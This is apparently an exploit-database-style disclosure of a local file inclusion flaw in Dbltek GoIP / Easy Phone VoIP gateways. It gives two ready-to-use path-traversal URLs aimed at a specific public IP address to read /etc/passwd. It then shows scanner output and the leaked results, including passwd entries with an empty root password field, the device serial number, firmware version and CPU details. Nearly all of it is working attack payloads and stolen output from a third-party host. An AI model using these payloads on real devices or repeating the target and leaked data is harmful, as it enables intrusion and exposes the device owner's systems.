# Exploit Title: Easy Phone |Dbltek GoIP | Local File İnclusion Vulnerability # Author: Чингис хаан # Tested On: Kali Linux # http://195.85.244.126/default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd # http://195.85.244.126/default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd --------------------------------------------------------------------------------------------------- Easy Phone Dbltek GoIP [goip-1-lfi] [http] [high] http://195.85.244.126/default/en_US/frame.html?content=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd [goip-1-lfi] [http] [high] http://195.85.244.126/default/en_US/frame.A100.html?sidebar=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd root::0:0:root:/root:/bin/ash grantk:*:505:505::: nobody:x:506:507::: ftp:*:95:95::/var/ftp: SN(Serial Number): 1M2RMOS20083649 Firmware Version: GHSFVT-1.1-67 Module Version: M26FBR03A02_RSIM Processor : ARM926EJ-Sid(wb) rev 5 (v5l) BogoMIPS : 285.90 Features : swp half fastmult edsp java CPU implementer : 0x41 CPU architecture: 5TEJ CPU variant : 0x0 CPU part : 0x926 CPU revision : 5 Cache type : write-back Cache clean : cp15 c7 ops Cache lockdown : format C Cache format : Harvard I size : 16384 I assoc : 4 I line length : 32 I sets : 128 D size : 16384 D assoc : 4 D line length : 32 D sets : 128 Hardware : 5VT13XX Revision : 0000 Serial : 0000000000000000